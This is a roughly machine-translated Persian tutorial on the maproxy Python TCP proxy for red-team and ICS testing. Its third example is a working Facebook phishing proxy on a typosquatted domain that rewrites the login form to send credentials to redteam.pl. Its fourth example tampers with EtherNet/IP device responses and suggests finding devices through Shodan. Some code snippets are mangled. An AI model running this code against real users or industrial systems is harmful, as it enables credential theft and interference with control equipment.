ترجمه مقاله در آستانه شروع دوره آماده شد
حاشیه نویسی
انواع مختلفی از ارزیابیهای امنیتی، از آزمایش نفوذ منظم و عملیات Red Team گرفته تا هک دستگاههای IoT/ICS و SCADA، شامل کار با پروتکلهای شبکه باینری است، یعنی اساساً رهگیری و تغییر دادههای شبکه بین مشتری و هدف. شناسایی ترافیک شبکه کار دشواری نیست زیرا ابزارهایی مانند Wireshark، Tcpdump یا Scapy داریم، اما به نظر میرسد اصلاح، کار سختتری باشد، زیرا برای خواندن دادههای شبکه، فیلتر کردن و تغییر آن به نوعی رابط نیاز داریم. آن را در حین پرواز و تقریباً در زمان واقعی به میزبان هدف بازگردانید. علاوه بر این، اگر چنین ابزاری بتواند به طور خودکار با چندین اتصال موازی کار کند و با استفاده از اسکریپت قابل تنظیم باشد، ایده آل خواهد بود.
یک روز ابزاری را کشف کردم به نام
، اسناد به سرعت برای من روشن شد که maproxy
- فقط چیزی که نیاز دارم این یک پروکسی TCP نسبتا ساده، همه کاره و به راحتی قابل تنظیم است. من این ابزار را روی چندین برنامه نسبتاً پیچیده، از جمله دستگاههای ICS (که بستههای زیادی تولید میکنند) آزمایش کردم تا ببینم آیا میتواند بسیاری از اتصالات موازی را مدیریت کند یا خیر، و ابزار عملکرد خوبی داشت.
این مقاله شما را با پردازش داده های شبکه در حال پرواز با استفاده از آن آشنا می کند maproxy
.
مرور
ابزار maproxy
مبتنی بر Tornado، یک چارچوب شبکه ناهمزمان محبوب و بالغ در پایتون است.
به طور کلی، می تواند در چندین حالت کار کند:
TCP:TCP
- اتصالات TCP رمزگذاری نشده؛TCP:SSL
иSSL:TCP
- با رمزگذاری یک طرفه؛SSL:SSL
– رمزگذاری دو طرفه
به صورت کتابخانه می آید. برای شروع سریع، می توانید از فایل های نمونه ای استفاده کنید که منعکس کننده اصلی هستند
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
مورد 1 - پروکسی دو طرفه ساده
بر اساس tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
به طور پیش فرض ProxyServer()
دو آرگومان می گیرد - محل اتصال و پورت هدف. server.listen()
یک آرگومان می گیرد - پورت برای گوش دادن به اتصال ورودی.
اجرای اسکریپت:
# python tcp2tcp.py
برای اجرای آزمایش، میخواهیم از طریق اسکریپت پروکسی خود به یک سرور SSH محلی متصل شویم که به آن گوش میدهد. 2222/tcp
پورت و به یک پورت استاندارد متصل می شود 22/tcp
سرورهای SSH:
بنر خوش آمدگویی به شما اطلاع می دهد که اسکریپت نمونه ما با موفقیت ترافیک شبکه را پروکسی کرده است.
مورد 2 - اصلاح داده ها
یک اسکریپت نمایشی دیگر logging_proxy.py
ایده آل برای تعامل با داده های شبکه نظرات موجود در فایل روش های کلاسی را که می توانید برای رسیدن به هدف خود تغییر دهید، توضیح می دهند:
جالب ترین چیز اینجاست:
on_c2p_done_read
- برای رهگیری داده ها در طول مسیر از مشتری به سرور؛on_p2s_done_read
- معکوس
بیایید سعی کنیم بنر SSH را که سرور به مشتری برمی گرداند تغییر دهیم:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
اجرای اسکریپت:
همانطور که می بینید، مشتری گمراه شد زیرا نام سرور SSH برای او به تغییر پیدا کرد «DumnySSH»
.
مورد 3 - صفحه وب ساده فیشینگ
راه های بی پایانی برای استفاده از این ابزار وجود دارد. این بار بیایید روی چیزهای کاربردی تر از سمت عملیات تیم قرمز تمرکز کنیم. بیایید از صفحه فرود تقلید کنیم m.facebook.com
و از یک دامنه سفارشی با اشتباه تایپی عمدی استفاده کنید، برای مثال، m.facebok.com
. برای اهداف نمایشی، اجازه دهید فرض کنیم که دامنه توسط ما ثبت شده است.
ما قصد داریم یک اتصال شبکه رمزگذاری نشده با پراکسی قربانیان و SSL Stream به سرور فیس بوک (31.13.81.36
). برای اینکه این مثال کار کند، باید هدر میزبان HTTP را جایگزین کنیم و نام میزبان صحیح را تزریق کنیم، همچنین فشردهسازی پاسخ را غیرفعال میکنیم تا بتوانیم به راحتی به محتویات دسترسی داشته باشیم. در نهایت ما فرم HTML را جایگزین می کنیم تا اعتبار ورود به سیستم به جای سرورهای فیس بوک برای ما ارسال شود:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/fa/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
به طور خلاصه:
همانطور که می بینید، ما با موفقیت توانستیم سایت اصلی را جایگزین کنیم.
مورد 4 - انتقال اترنت/IP
مدتی است که با دستگاه ها و نرم افزارهای صنعتی (ICS/SCADA) مانند کنترلرهای قابل برنامه ریزی (PLC)، ماژول های ورودی/خروجی، درایوها، رله ها، محیط های برنامه نویسی نردبانی و بسیاری موارد دیگر سر و کار دارم. این مورد برای کسانی است که به چیزهای صنعتی علاقه دارند. هک چنین راه حل هایی مستلزم بازی فعالانه با پروتکل های شبکه است. در مثال زیر، می خواهم نشان دهم که چگونه می توانید ترافیک شبکه ICS/SCADA را تغییر دهید.
برای این کار به موارد زیر نیاز خواهید داشت:
- sniffer شبکه، به عنوان مثال، Wireshark.
- اترنت/IP یا فقط یک دستگاه SIP، می توانید آن را با استفاده از سرویس Shodan پیدا کنید.
- فیلمنامه ما بر اساس
maproxy
.
ابتدا، بیایید ببینیم که یک پاسخ شناسایی معمولی از CIP (پروتکل صنعتی مشترک) چگونه است:
شناسایی دستگاه با استفاده از پروتکل Ethernet/IP انجام می شود که نسخه پیشرفته پروتکل اترنت صنعتی است که پروتکل های کنترلی مانند CIP را در بر می گیرد. ما قصد داریم نام شناسه هایلایت شده را که در تصویر قابل مشاهده است تغییر دهیم "NI-IndComm برای اترنت" با استفاده از اسکریپت پروکسی ما میتوانیم از اسکریپت دوباره استفاده کنیم logging_proxy.py
و به طور مشابه متد کلاس را اصلاح کنید on_p2s_done_read
، زیرا می خواهیم یک نام هویت متفاوت در مشتری قابل مشاهده باشد.
کد:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
اساساً، ما دو بار درخواست شناسایی دستگاه کردیم، پاسخ دوم پاسخ اصلی بود، و پاسخ اول در پرواز اصلاح شد.
و آخرین
به نظر من maproxy
یک ابزار راحت و ساده که به زبان پایتون نیز نوشته شده است، بنابراین من معتقدم که شما نیز می توانید از استفاده از آن بهره مند شوید. البته ابزارهای پیچیده تری برای پردازش و اصلاح داده های شبکه وجود دارد، اما آنها همچنین نیاز به توجه بیشتری دارند و معمولاً برای یک مورد خاص ایجاد می شوند، به عنوان مثال. maproxy
شما می توانید به سرعت ایده های خود را برای رهگیری داده های شبکه پیاده سازی کنید، زیرا اسکریپت های مثال بسیار واضح هستند.
منبع: www.habr.com